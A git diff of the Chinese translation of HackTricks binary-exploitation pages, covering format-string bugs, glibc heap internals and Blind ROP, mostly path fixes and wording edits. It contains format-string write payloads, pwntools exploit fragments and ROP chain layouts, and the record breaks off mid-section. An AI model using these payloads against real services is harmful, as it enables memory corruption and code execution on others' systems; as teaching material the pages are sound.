Translated ['binary-exploitation/format-strings/README.md', 'binary-expl
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
BIN
.gitbook/assets/image (10) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 216 KiB |
Before Width: | Height: | Size: 216 KiB After Width: | Height: | Size: 30 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 62 KiB |
Before Width: | Height: | Size: 62 KiB After Width: | Height: | Size: 59 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 461 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 50 KiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 58 KiB |
BIN
.gitbook/assets/image (6) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 138 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 160 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 126 KiB |
BIN
.gitbook/assets/image (8) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 3.1 KiB |
Before Width: | Height: | Size: 3.1 KiB After Width: | Height: | Size: 86 KiB |
BIN
.gitbook/assets/image (9) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 3.5 KiB After Width: | Height: | Size: 551 KiB |
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 82 KiB |
|
@ -1,8 +1,8 @@
|
|||
# 格式字符串
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,16 +15,15 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
在 C 语言中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
|
||||
在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式化符的原始文本**。后续的 **参数** 是 **替代** 原始文本中的 **格式化符** 的 **值**。
|
||||
|
||||
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
||||
|
||||
|
@ -54,7 +53,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
* 缺失参数:
|
||||
* 缺少参数:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
|
@ -88,7 +87,7 @@ printf("%4$x")
|
|||
注意,攻击者控制了 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
|
||||
|
||||
{% hint style="danger" %}
|
||||
控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。
|
||||
控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。在下一节中将解释如何利用这种行为。
|
||||
{% endhint %}
|
||||
|
||||
## **任意读取**
|
||||
|
@ -112,7 +111,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|||
|
||||
### 查找偏移量
|
||||
|
||||
要找到输入的偏移量,您可以发送 4 或 8 个字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A's`。
|
||||
要找到输入的偏移量,您可以发送 4 或 8 个字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A`。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,14 +155,14 @@ p.close()
|
|||
|
||||
## **任意写入**
|
||||
|
||||
格式化器 **`%<num>$n`** **在** **指定地址** 中写入 **已写入字节的数量**,该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
||||
格式化器 **`%<num>$n`** **在** \<num> 参数指定的地址 **写入** **已写入字节的数量**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
||||
|
||||
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 中写入数字 **`<num-write>`**。
|
||||
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",因此可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 中写入数字 **`<num-write>`**。
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次是针对地址的高 2B,另一次是针对低 2B。
|
||||
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次写入地址的高 2B,另一次写入低 2B。
|
||||
|
||||
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
||||
|
||||
|
@ -224,7 +223,7 @@ p.interactive()
|
|||
```
|
||||
## 格式字符串到缓冲区溢出
|
||||
|
||||
可以利用格式字符串漏洞的写入操作来**写入栈的地址**,并利用**缓冲区溢出**类型的漏洞。
|
||||
可以利用格式字符串漏洞的写入操作来**写入栈的地址**并利用**缓冲区溢出**类型的漏洞。
|
||||
|
||||
## 其他示例与参考
|
||||
|
||||
|
@ -238,21 +237,19 @@ p.interactive()
|
|||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`,指向`strlen`。当流程返回到main时,`strlen`与用户输入一起执行并指向`system`,将执行传递的命令。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
支持HackTricks
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
{% endhint %}
|
||||
|
|
|
@ -41,7 +41,7 @@
|
|||
* 初始堆位于程序的二进制文件后面,并通过 `sbrk` 系统调用扩展。
|
||||
* 次要区域使用的子堆是通过 `mmap` 创建的,`mmap` 是一个映射指定内存区域的系统调用。
|
||||
2. **使用 `mmap` 进行内存保留**:
|
||||
* 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留并不会立即分配内存;它只是指定一个其他系统进程或分配不应使用的区域。
|
||||
* 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个其他系统进程或分配不应使用的区域。
|
||||
* 默认情况下,子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。
|
||||
3. **使用 `mprotect` 逐步扩展**:
|
||||
* 保留的内存区域最初标记为 `PROT_NONE`,表示内核尚不需要为此空间分配物理内存。
|
||||
|
@ -76,7 +76,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
|
||||
从这个结构中有一些有趣的事情需要注意(见下面的C代码):
|
||||
|
||||
* `__libc_lock_define (, mutex);` 是为了确保这个堆的结构一次只被一个线程访问
|
||||
* `__libc_lock_define (, mutex);` 是为了确保这个堆的结构一次只能被一个线程访问
|
||||
* 标志:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
@ -87,7 +87,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` 包含指向**小型、大型和未排序的** **bins**的**第一个和最后一个块**的**指针**(-2是因为索引0未使用)
|
||||
* 因此,这些bins的**第一个块**将有一个**指向该结构的反向指针**,而这些bins的**最后一个块**将有一个**指向该结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。
|
||||
* 因此,这些bins的**第一个块**将有一个**指向此结构的反向指针**,而这些bins的**最后一个块**将有一个**指向此结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。
|
||||
* 结构`struct malloc_state *next;`和`struct malloc_state *next_free;`是区域的链表
|
||||
* `top`块是最后一个“块”,基本上是**所有堆剩余空间**。一旦顶块“空”,堆就完全使用,需要请求更多空间。
|
||||
* `last reminder`块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,剩余部分的指针放在这里。
|
||||
|
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
|
|||
```
|
||||
### malloc\_chunk
|
||||
|
||||
该结构表示特定的内存块。不同字段对已分配和未分配块具有不同的含义。
|
||||
该结构表示特定的内存块。不同字段对已分配和未分配的内存块具有不同的含义。
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
|
@ -161,13 +161,13 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
|
||||
元数据通常是0x08B,使用最后3位表示当前块大小:
|
||||
|
||||
* `A`:如果为1,则来自子堆;如果为0,则在主区域
|
||||
* `A`:如果为1,则来自子堆;如果为0,则在主区域中
|
||||
* `M`:如果为1,则该块是使用mmap分配的空间的一部分,而不是堆的一部分
|
||||
* `P`:如果为1,则前一个块正在使用中
|
||||
|
||||
然后是用户数据的空间,最后是0x08B,用于指示块可用时的前一个块大小(或在分配时存储用户数据)。
|
||||
|
||||
此外,当可用时,用户数据也用于包含一些数据:
|
||||
此外,当可用时,用户数据还用于包含一些数据:
|
||||
|
||||
* **`fd`**:指向下一个块的指针
|
||||
* **`bk`**:指向前一个块的指针
|
||||
|
@ -177,12 +177,12 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
注意以这种方式链接列表可以避免需要一个数组来注册每一个块。
|
||||
注意以这种方式链接列表可以避免需要一个数组来注册每个块。
|
||||
{% endhint %}
|
||||
|
||||
### 块指针
|
||||
|
||||
当使用malloc时,会返回一个可以写入的内容的指针(就在头部之后),然而,在管理块时,需要一个指向头部(元数据)开始的指针。\
|
||||
当使用malloc时,返回一个可以写入的内容的指针(就在头部之后),然而,在管理块时,需要一个指向头部(元数据)开头的指针。\
|
||||
为这些转换使用这些函数:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
@ -351,7 +351,7 @@ people extending or adapting this malloc.
|
|||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
* 设置头部和底部(当使用块编号时)
|
||||
* 设置头部和尾部(当使用块编号时)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
|
@ -412,9 +412,9 @@ strcpy(ptr, "panda");
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
可以看到字符串 panda 存储在 `0xaaaaaaac12a0`(这是 malloc 在 `x0` 中给出的地址)。检查 0x10 字节之前,可以看到 `0x0` 表示 **前一个块未使用**(长度为 0),而这个块的长度为 `0x21`。
|
||||
可以看到字符串 panda 存储在 `0xaaaaaaac12a0`(这是 malloc 在 `x0` 中给出的地址)。检查 0x10 字节之前,可以看到 `0x0` 表示 **前一个块未被使用**(长度为 0),而这个块的长度为 `0x21`。
|
||||
|
||||
保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着它保留了 0x21B,而是当前头部长度的最后 3 位具有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。
|
||||
保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着保留了 0x21B,而是当前头部长度的最后 3 位具有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
|
@ -470,19 +470,19 @@ return 0;
|
|||
|
||||
调试前面的示例可以看到,开始时只有 1 个 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
然后,在调用第一个线程后,即调用 malloc 的线程,创建了一个新的 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
然后,在调用第一个线程,即调用 malloc 的线程后,创建了一个新的 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在其中可以找到一些 chunks:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
检查 bins 是什么,它们是如何组织的,以及内存是如何分配和释放的:
|
||||
检查 bins 是什么以及它们是如何组织的,以及内存是如何分配和释放的:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
|
|
|
@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
查看这个关于 unlink 过程的精彩图形解释:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### 安全检查
|
||||
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -20,12 +20,12 @@
|
|||
此攻击的目标是能够**通过缓冲区溢出滥用 ROP,而无需任何关于易受攻击二进制文件的信息**。\
|
||||
此攻击基于以下场景:
|
||||
|
||||
* 一个栈漏洞和触发它的知识。
|
||||
* 一个堆栈漏洞和触发它的知识。
|
||||
* 一个在崩溃后重启的服务器应用程序。
|
||||
|
||||
## 攻击
|
||||
|
||||
### **1. 找到易受攻击的偏移量**,发送一个字符直到检测到服务器故障
|
||||
### **1. 找到易受攻击的偏移** 发送一个字符,直到检测到服务器故障
|
||||
|
||||
### **2. 暴力破解 canary** 以泄露它
|
||||
|
||||
|
@ -35,36 +35,36 @@
|
|||
|
||||
### **4. 找到停止 gadget**
|
||||
|
||||
这个 gadget 基本上允许确认 ROP gadget 执行了某些有趣的内容,因为执行没有崩溃。通常,这个 gadget 将是某种**停止执行**的东西,并且在寻找 ROP gadget 时,它位于 ROP 链的末尾,以确认特定的 ROP gadget 被执行。
|
||||
这个 gadget 基本上允许确认 ROP gadget 执行了某些有趣的内容,因为执行没有崩溃。通常,这个 gadget 将是**停止执行**的内容,并且在寻找 ROP gadget 时位于 ROP 链的末尾,以确认特定的 ROP gadget 被执行。
|
||||
|
||||
### **5. 找到 BROP gadget**
|
||||
|
||||
此技术使用 [**ret2csu**](ret2csu.md) gadget。这是因为如果您在某些指令中间访问此 gadget,您将获得控制**`rsi`**和**`rdi`**的 gadgets:
|
||||
此技术使用 [**ret2csu**](ret2csu.md) gadget。这是因为如果您在某些指令中间访问此 gadget,您将获得控制**`rsi`**和**`rdi`**的 gadget:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
这些将是 gadgets:
|
||||
这些将是 gadget:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
注意,通过这些 gadgets 可以**控制 2 个参数**的函数调用。
|
||||
注意,通过这些 gadget 可以**控制 2 个参数**的函数调用。
|
||||
|
||||
另外,请注意 ret2csu gadget 具有**非常独特的签名**,因为它将从栈中弹出 6 个寄存器。因此,发送一个链如:
|
||||
另外,请注意 ret2csu gadget 具有**非常独特的特征**,因为它将从堆栈中弹出 6 个寄存器。因此,发送一个链如:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
如果**STOP 被执行**,这基本上意味着使用了一个**从栈中弹出 6 个寄存器的地址**。或者使用的地址也是一个 STOP 地址。
|
||||
如果**STOP 被执行**,这基本上意味着使用了一个**从堆栈中弹出 6 个寄存器的地址**。或者使用的地址也是一个 STOP 地址。
|
||||
|
||||
为了**消除这个最后的选项**,执行一个新的链,如下所示,并且它必须不执行 STOP gadget 以确认前一个确实弹出了 6 个寄存器:
|
||||
为了**消除这个最后的选项**,执行一个新的链,如下所示,并且它必须不执行 STOP gadget 以确认之前的确弹出了 6 个寄存器:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
知道 ret2csu gadget 的地址,可以**推断出控制 `rsi` 和 `rdi` 的 gadgets 的地址**。
|
||||
知道 ret2csu gadget 的地址,可以**推断出控制 `rsi` 和 `rdi` 的 gadget 的地址**。
|
||||
|
||||
### 6. 找到 PLT
|
||||
|
||||
PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如果**PIE**正在使用)。表的**条目**是**每 16B 分隔**(0x10B),当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查**PLT + 6B 的条目地址也不会崩溃**,因为这是执行的第一段代码。
|
||||
PLT 表可以从 0x400000 或从堆栈中**泄露的 RIP 地址**进行搜索(如果**PIE**正在使用)。表的**条目**是**每 16B 分隔**(0x10B),当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查**PLT + 6B 的条目地址也不会崩溃**,因为这是执行的第一段代码。
|
||||
|
||||
因此,可以通过检查以下行为找到 PLT 表:
|
||||
|
||||
|
@ -74,16 +74,16 @@ PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如
|
|||
|
||||
### 7. 找到 strcmp
|
||||
|
||||
